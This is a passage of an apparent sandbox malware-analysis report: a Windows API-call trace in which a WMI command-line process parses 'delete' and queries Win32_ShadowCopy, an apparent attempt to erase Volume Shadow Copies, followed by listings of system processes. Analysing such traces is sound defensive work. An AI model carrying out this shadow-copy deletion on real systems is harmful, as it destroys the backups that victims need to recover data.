[0119.083] lstrlenW (lpString="CALL") returned 4 [0119.083] lstrlenW (lpString="delete") returned 6 [0119.083] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0119.083] lstrlenW (lpString="ASSOC") returned 5 [0119.083] lstrlenW (lpString="delete") returned 6 [0119.083] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0119.083] lstrlenW (lpString="CREATE") returned 6 [0119.083] lstrlenW (lpString="delete") returned 6 [0119.083] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0119.083] lstrlenW (lpString="DELETE") returned 6 [0119.083] lstrlenW (lpString="delete") returned 6 [0119.083] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0119.084] malloc (_Size=0x18) returned 0x47c8b0 [0119.084] lstrlenA (lpString="") returned 0 [0119.084] malloc (_Size=0x2) returned 0x33dfb0 [0119.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff65314c, cbMultiByte=-1, lpWideCharStr=0x33dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.084] free (_Block=0x33dfb0) [0119.084] malloc (_Size=0x18) returned 0x47c930 [0119.085] lstrlenA (lpString="") returned 0 [0119.085] malloc (_Size=0x2) returned 0x33dfb0 [0119.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff65314c, cbMultiByte=-1, lpWideCharStr=0x33dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.085] free (_Block=0x33dfb0) [0119.085] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0119.085] malloc (_Size=0x3e) returned 0x47cae0 [0119.085] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0119.085] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select" [0119.085] malloc (_Size=0x18) returned 0x47c9d0 [0119.085] free (_Block=0x47c930) [0119.085] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53008400680007 | out: _String=0x0, _Context=0x53008400680007) returned="*" [0119.085] lstrlenW (lpString="FROM") returned 4 [0119.085] lstrlenW (lpString="*") returned 1 [0119.085] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0119.085] malloc (_Size=0x18) returned 0x47c930 [0119.085] free (_Block=0x47c9d0) [0119.085] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53008500680007 | out: _String=0x0, _Context=0x53008500680007) returned="from" [0119.085] lstrlenW (lpString="FROM") returned 4 [0119.085] lstrlenW (lpString="from") returned 4 [0119.085] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0119.085] malloc (_Size=0x18) returned 0x47c9d0 [0119.086] free (_Block=0x47c930) [0119.086] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53008600680007 | out: _String=0x0, _Context=0x53008600680007) returned="Win32_ShadowCopy" [0119.086] malloc (_Size=0x18) returned 0x47c930 [0119.086] free (_Block=0x47c9d0) [0119.086] free (_Block=0x47cae0) [0119.086] malloc (_Size=0x18) returned 0x47c9d0 [0119.086] malloc (_Size=0x18) returned 0x47c8d0 [0119.086] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0119.086] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0119.087] free (_Block=0x47c8b0) [0119.087] free (_Block=0x47c9d0) [0119.087] ??0CHString@@QEAA@XZ () returned 0x18f2d0 [0119.087] GetCurrentThreadId () returned 0xb88 [0119.087] malloc (_Size=0x18) returned 0x47c9d0 [0119.087] malloc (_Size=0x18) returned 0x47c8b0 [0119.087] malloc (_Size=0x18) returned 0x47c950 [0119.087] malloc (_Size=0x18) returned 0x47c970 [0119.087] malloc (_Size=0x18) returned 0x47c990 [0119.087] SysStringLen (param_1="\\\\") returned 0x2 [0119.087] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0119.087] malloc (_Size=0x18) returned 0x47c9b0 [0119.087] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0119.087] SysStringLen (param_1="\\") returned 0x1 [0119.087] malloc (_Size=0x18) returned 0x47c9f0 [0119.087] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0119.087] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0119.088] free (_Block=0x47c9b0) [0119.088] free (_Block=0x47c990) [0119.088] free (_Block=0x47c970) [0119.088] free (_Block=0x47c950) [0119.088] free (_Block=0x47c8b0) [0119.088] free (_Block=0x47c9d0) [0119.088] malloc (_Size=0x18) returned 0x47c9d0 [0119.088] malloc (_Size=0x18) returned 0x47c8b0 [0119.088] malloc (_Size=0x18) returned 0x47c950 [0119.088] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1f21390, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff6c29d0 | out: ppNamespace=0xff6c29d0*=0x1f33c18) returned 0x0 [0119.095] free (_Block=0x47c950) [0119.095] free (_Block=0x47c8b0) [0119.095] free (_Block=0x47c9d0) [0119.095] CoSetProxyBlanket (pProxy=0x1f33c18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0119.095] free (_Block=0x47c9f0) [0119.095] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.095] ??0CHString@@QEAA@XZ () returned 0x18f220 [0119.095] GetCurrentThreadId () returned 0xb88 [0119.095] malloc (_Size=0x18) returned 0x47c9f0 [0119.095] lstrlenA (lpString="") returned 0 [0119.095] malloc (_Size=0x2) returned 0x33dfb0 [0119.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff65314c, cbMultiByte=-1, lpWideCharStr=0x33dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.096] free (_Block=0x33dfb0) [0119.096] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0119.096] SysStringLen (param_1="") returned 0x0 [0119.096] free (_Block=0x47c9f0) [0119.096] malloc (_Size=0x18) returned 0x47c9f0 [0119.096] IWbemServices:ExecQuery (in: This=0x1f33c18, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x18f228 | out: ppEnum=0x18f228*=0x1f33d18) returned 0x0 [0119.493] free (_Block=0x47c9f0) [0119.493] CoSetProxyBlanket (pProxy=0x1f33d18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0119.496] IEnumWbemClassObject:Next (in: This=0x1f33d18, lTimeout=-1, uCount=0x1, apObjects=0x18f230, puReturned=0x18f240 | out: apObjects=0x18f230*=0x0, puReturned=0x18f240*=0x0) returned 0x1 [0119.499] IUnknown:Release (This=0x1f33d18) returned 0x0 [0119.500] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.500] free (_Block=0x47c930) [0119.500] free (_Block=0x47c8d0) [0119.500] GetCurrentThreadId () returned 0xb88 [0119.500] ??0CHString@@QEAA@PEBG@Z () returned 0x18f408 [0119.500] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x18f408 [0119.500] malloc (_Size=0x800) returned 0x47cb60 [0119.500] LoadStringW (in: hInstance=0x0, uID=0xb3bc, lpBuffer=0x47cb60, cchBufferMax=1024 | out: lpBuffer="No Instance(s) Available.\r\n") returned 0x1b [0119.501] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="No Instance(s) Available.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0119.501] malloc (_Size=0x1c) returned 0x47cae0 [0119.501] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="No Instance(s) Available.\r\n", cchWideChar=-1, lpMultiByteStr=0x47cae0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="No Instance(s) Available.\r\n", lpUsedDefaultChar=0x0) returned 28 [0119.501] fprintf (in: _File=0x7fefdf72ab0, _Format="%s" | out: _File=0x7fefdf72ab0) returned 27 [0119.501] fflush (in: _File=0x7fefdf72ab0 | out: _File=0x7fefdf72ab0) returned 0 [0119.501] free (_Block=0x47cae0) [0119.501] free (_Block=0x47cb60) [0119.502] ??1CHString@@QEAA@XZ () returned 0x13100b01 [0119.502] WbemLocator:IUnknown:Release (This=0x1f33c18) returned 0x0 [0119.502] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4af482c [0119.502] _kbhit () returned 0x0 [0119.505] free (_Block=0x47cac0) [0119.505] free (_Block=0x47c7d0) [0119.505] free (_Block=0x47c7b0) [0119.505] free (_Block=0x47c790) [0119.505] free (_Block=0x47c770) [0119.505] free (_Block=0x476e80) [0119.505] free (_Block=0x47c870) [0119.505] free (_Block=0x478600) [0119.505] free (_Block=0x47c8f0) [0119.505] free (_Block=0x47ca40) [0119.505] free (_Block=0x47c890) [0119.505] free (_Block=0x47c910) [0119.505] free (_Block=0x476e10) [0119.505] free (_Block=0x476cf0) [0119.506] free (_Block=0x47ca90) [0119.506] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4af482c [0119.506] free (_Block=0x476eb0) [0119.506] free (_Block=0x47c810) [0119.506] free (_Block=0x47c830) [0119.506] free (_Block=0x4763c0) [0119.506] free (_Block=0x476410) [0119.506] free (_Block=0x476460) [0119.506] free (_Block=0x47c7f0) [0119.506] free (_Block=0x477fb0) [0119.506] free (_Block=0x476cd0) [0119.506] free (_Block=0x478040) [0119.506] free (_Block=0x4768b0) [0119.506] free (_Block=0x478000) [0119.506] free (_Block=0x476850) [0119.506] free (_Block=0x476870) [0119.506] free (_Block=0x476730) [0119.507] free (_Block=0x476750) [0119.507] free (_Block=0x4766d0) [0119.507] free (_Block=0x4766f0) [0119.507] free (_Block=0x476790) [0119.507] free (_Block=0x4767b0) [0119.507] free (_Block=0x4767f0) [0119.507] free (_Block=0x476810) [0119.507] free (_Block=0x476610) [0119.507] free (_Block=0x476630) [0119.507] free (_Block=0x4765b0) [0119.507] free (_Block=0x4765d0) [0119.507] free (_Block=0x476670) [0119.507] free (_Block=0x476690) [0119.508] free (_Block=0x476550) [0119.508] free (_Block=0x476570) [0119.508] free (_Block=0x4764e0) [0119.508] free (_Block=0x4764b0) [0119.508] free (_Block=0x476d80) [0119.508] WbemLocator:IUnknown:Release (This=0x1f21390) returned 0x2 [0119.508] WbemLocator:IUnknown:Release (This=0x1f33b28) returned 0x0 [0119.509] WbemLocator:IUnknown:Release (This=0x1f33a98) returned 0x0 [0119.510] WbemLocator:IUnknown:Release (This=0x1f21390) returned 0x1 [0119.510] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4af482c [0119.510] WbemLocator:IUnknown:Release (This=0x1f21390) returned 0x0 [0119.510] free (_Block=0x47c6f0) [0119.510] free (_Block=0x47c710) [0119.510] free (_Block=0x478540) [0119.510] free (_Block=0x47c730) [0119.510] free (_Block=0x47c750) [0119.510] free (_Block=0x478580) [0119.510] free (_Block=0x47c570) [0119.510] free (_Block=0x47c590) [0119.511] free (_Block=0x4783c0) [0119.511] free (_Block=0x47c5b0) [0119.511] free (_Block=0x47c5d0) [0119.511] free (_Block=0x478400) [0119.511] free (_Block=0x47c4f0) [0119.511] free (_Block=0x47c510) [0119.511] free (_Block=0x478340) [0119.511] free (_Block=0x47c530) [0119.511] free (_Block=0x47c550) [0119.511] free (_Block=0x478380) [0119.511] free (_Block=0x47c670) [0119.511] free (_Block=0x47c690) [0119.511] free (_Block=0x4784c0) [0119.511] free (_Block=0x47c6b0) [0119.511] free (_Block=0x47c6d0) [0119.511] free (_Block=0x478500) [0119.511] free (_Block=0x47c470) [0119.511] free (_Block=0x47c490) [0119.511] free (_Block=0x4782c0) [0119.512] free (_Block=0x47c4b0) [0119.512] free (_Block=0x47c4d0) [0119.512] free (_Block=0x478300) [0119.512] free (_Block=0x47c5f0) [0119.512] free (_Block=0x47c610) [0119.512] free (_Block=0x478440) [0119.512] free (_Block=0x47c630) [0119.512] free (_Block=0x47c650) [0119.512] free (_Block=0x478480) [0119.512] free (_Block=0x47c3b0) [0119.512] free (_Block=0x47c3d0) [0119.512] free (_Block=0x478200) [0119.512] free (_Block=0x47c270) [0119.512] free (_Block=0x47c290) [0119.512] free (_Block=0x4780c0) [0119.512] free (_Block=0x476d40) [0119.512] free (_Block=0x476d60) [0119.512] free (_Block=0x478080) [0119.512] free (_Block=0x47c2f0) [0119.514] free (_Block=0x47c310) [0119.514] free (_Block=0x478140) [0119.514] free (_Block=0x47c3f0) [0119.515] free (_Block=0x47c410) [0119.515] free (_Block=0x478240) [0119.515] free (_Block=0x47c2b0) [0119.515] free (_Block=0x47c2d0) [0119.515] free (_Block=0x478100) [0119.515] free (_Block=0x47c330) [0119.515] free (_Block=0x47c350) [0119.515] free (_Block=0x478180) [0119.515] free (_Block=0x47c370) [0119.515] free (_Block=0x47c390) [0119.515] free (_Block=0x4781c0) [0119.515] free (_Block=0x47c430) [0119.515] free (_Block=0x47c450) [0119.515] free (_Block=0x478280) [0119.515] CoUninitialize () [0119.644] exit (_Code=0) [0119.644] free (_Block=0x4785c0) [0119.644] free (_Block=0x477c40) [0119.644] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.645] free (_Block=0x476e30) [0119.645] free (_Block=0x476530) [0119.645] free (_Block=0x477c00) [0119.645] free (_Block=0x477bc0) [0119.645] free (_Block=0x477b70) [0119.645] free (_Block=0x477b30) [0119.645] free (_Block=0x475ac0) [0119.645] free (_Block=0x477ab0) [0119.645] free (_Block=0x475a80) [0119.645] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.645] free (_Block=0x47c850) Thread: id = 57 os_tid = 0x978 Thread: id = 62 os_tid = 0x9f8 Thread: id = 63 os_tid = 0x24c Thread: id = 64 os_tid = 0x3f8 Thread: id = 65 os_tid = 0x798 Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x971d000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "10" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 68 os_tid = 0x8d8 Thread: id = 69 os_tid = 0x8c8 Thread: id = 70 os_tid = 0x898 Thread: id = 71 os_tid = 0x858 Thread: id = 72 os_tid = 0x788 Thread: id = 73 os_tid = 0x320 Thread: id = 74 os_tid = 0x42c Thread: id = 75 os_tid = 0x1e4 Thread: id = 76 os_tid = 0x6d0 Thread: id = 77 os_tid = 0x6bc Thread: id = 78 os_tid = 0x6b0 Thread: id = 79 os_tid = 0x6a8 Thread: id = 80 os_tid = 0x698 Thread: id = 81 os_tid = 0x688 Thread: id = 82 os_tid = 0x684 Thread: id = 83 os_tid = 0x678 Thread: id = 84 os_tid = 0x4a8 Thread: id = 85 os_tid = 0x46c Thread: id = 86 os_tid = 0x44c Thread: id = 87 os_tid = 0x424 Thread: id = 88 os_tid = 0x41c Thread: id = 89 os_tid = 0x404 Thread: id = 90 os_tid = 0x14c Thread: id = 91 os_tid = 0x3fc Thread: id = 92 os_tid = 0x3f4 Thread: id = 93 os_tid = 0x3e8 Thread: id = 94 os_tid = 0x39c Thread: id = 95 os_tid = 0x390 Thread: id = 96 os_tid = 0x38c Thread: id = 97 os_tid = 0x37c Thread: id = 98 os_tid = 0x374 Thread: id = 112 os_tid = 0x5dc Thread: id = 113 os_tid = 0xa08 Thread: id = 114 os_tid = 0x69c Thread: id = 115 os_tid = 0x500 Thread: id = 116 os_tid = 0x330 Thread: id = 142 os_tid = 0x78c Thread: id = 143 os_tid = 0x208 Thread: id = 144 os_tid = 0x730 Thread: id = 145 os_tid = 0xbac Process: id = "12" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x60b69000" os_pid = "0xa7c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0004158b" [0xc000000f] Thread: id = 99 os_tid = 0x8a8 Thread: id = 100 os_tid = 0xa98 Thread: id = 101 os_tid = 0xa94 Thread: id = 102 os_tid = 0xa90 Thread: id = 103 os_tid = 0xa84 Thread: id = 104 os_tid = 0xa80 Thread: id = 117 os_tid = 0xa28 Process: id = "13" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x61e64000" os_pid = "0xa50" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 105 os_tid = 0x8b8 Thread: id = 106 os_tid = 0xa70 Thread: id = 107 os_tid = 0xa6c Thread: id = 108 os_tid = 0xa68 Thread: id = 109 os_tid = 0xa64 Thread: id = 110 os_tid = 0xa58 Thread: id = 111 os_tid = 0xa54 Thread: id = 121 os_tid = 0x408 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 129 os_tid = 0x570 Thread: id = 130 os_tid = 0xaf8 Thread: id = 131 os_tid = 0x768 Thread: id = 132 os_tid = 0x764 Thread: id = 133 os_tid = 0x758 Thread: id = 134 os_tid = 0x724 Thread: id = 135 os_tid = 0x718 Thread: id = 136 os_tid = 0x714 Thread: id = 137 os_tid = 0x630 Thread: id = 138 os_tid = 0x154 Thread: id = 139 os_tid = 0x150 Thread: id = 140 os_tid = 0x118 Thread: id = 141 os_tid = 0xf0 Process: id = "15" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 147 os_tid = 0x8 Thread: id = 148 os_tid = 0x5c Thread: id = 149 os_tid = 0xc4 Thread: id = 150 os_tid = 0x90 Thread: id = 151 os_tid = 0x9c Thread: id = 152 os_tid = 0x78 Thread: id = 153 os_tid = 0xc0 Thread: id = 154 os_tid = 0x28 Thread: id = 155 os_tid = 0x4c Thread: id = 156 os_tid = 0x20 Thread: id = 157 os_tid = 0x24 Thread: id = 158 os_tid = 0x44 Thread: id = 159 os_tid = 0x30 Thread: id = 160 os_tid = 0x34 Thread: id = 161 os_tid = 0xb4 Thread: id = 162 os_tid = 0x60 Thread: id = 163 os_tid = 0xcc Thread: id = 164 os_tid = 0xd0 Thread: id = 165 os_tid = 0xb8 Thread: id = 166 os_tid = 0x38 Thread: id = 167 os_tid = 0xd4 Thread: id = 168 os_tid = 0xd8 Thread: id = 169 os_tid = 0xdc Thread: id = 171 os_tid = 0x3c Thread: id = 172 os_tid = 0x40 Thread: id = 174 os_tid = 0xec Thread: id = 175 os_tid = 0xf4 Thread: id = 177 os_tid = 0xe8 Thread: id = 178 os_tid = 0x48 Thread: id = 179 os_tid = 0x104 Thread: id = 180 os_tid = 0x108 Thread: id = 181 os_tid = 0x10c Thread: id = 182 os_tid = 0x64 Thread: id = 183 os_tid = 0x114 Thread: id = 184 os_tid = 0x2c Thread: id = 185 os_tid = 0x110 Thread: id = 186 os_tid = 0x84 Thread: id = 187 os_tid = 0x8c Thread: id = 188 os_tid = 0x50 Thread: id = 189 os_tid = 0x68 Thread: id = 190 os_tid = 0xa8 Thread: id = 193 os_tid = 0x80 Thread: id = 195 os_tid = 0x134 Thread: id = 196 os_tid = 0x138 Thread: id = 197 os_tid = 0x13c Thread: id = 198 os_tid = 0x140 Thread: id = 218 os_tid = 0x198 Thread: id = 237 os_tid = 0x88 Thread: id = 243 os_tid = 0xbc Thread: id = 244 os_tid = 0x98 Thread: id = 266 os_tid = 0x74 Thread: id = 271 os_tid = 0x274 Thread: id = 294 os_tid = 0x2d8 Thread: id = 306 os_tid = 0x304 Thread: id = 307 os_tid = 0x30c Thread: id = 350 os_tid = 0x3cc Thread: id = 364 os_tid = 0xfc Thread: id = 365 os_tid = 0xa0 Thread: id = 367 os_tid = 0x108 Thread: id = 422 os_tid = 0x460 Thread: id = 432 os_tid = 0x49c Thread: id = 435 os_tid = 0x468 Thread: id = 438 os_tid = 0x464 Thread: id = 439 os_tid = 0x4a8 Thread: id = 443 os_tid = 0x4bc Process: id = "16" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x186cb000" os_pid = "0xe0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x4" cmd_line = "\\SystemRoot\\System32\\smss.exe" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 170 os_tid = 0xe4 Thread: id = 173 os_tid = 0xf8 Thread: id = 191 os_tid = 0x120 Thread: id = 203 os_tid = 0x164 Process: id = "17" image_name = "autochk.exe" filename = "c:\\windows\\system32\\autochk.exe" page_root = "0x18727000" os_pid = "0xfc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xe0" cmd_line = "\\??\\C:\\Windows\\system32\\autochk.exe *" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 176 os_tid = 0x100 Process: id = "18" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0xfa7e000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xe0" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000000 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 192 os_tid = 0x128 Process: id = "19" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x2cb6f000" os_pid = "0x12c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x124" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 194 os_tid = 0x130 Thread: id = 199 os_tid = 0x144 Thread: id = 200 os_tid = 0x148 Thread: id = 201 os_tid = 0x14c Thread: id = 202 os_tid = 0x150 Thread: id = 211 os_tid = 0x188 Thread: id = 219 os_tid = 0x1a4 Thread: id = 220 os_tid = 0x1a8 Thread: id = 226 os_tid = 0x1c8 Thread: id = 231 os_tid = 0x1e0 Process: id = "20" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x1d184000" os_pid = "0x154" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xe0" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000001 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 204 os_tid = 0x158 Process: id = "21" image_name = "wininit.exe" filename = "c:\\windows\\system32\\wininit.exe" page_root = "0xf075000" os_pid = "0x15c" os_integrity_level = "0x4000" 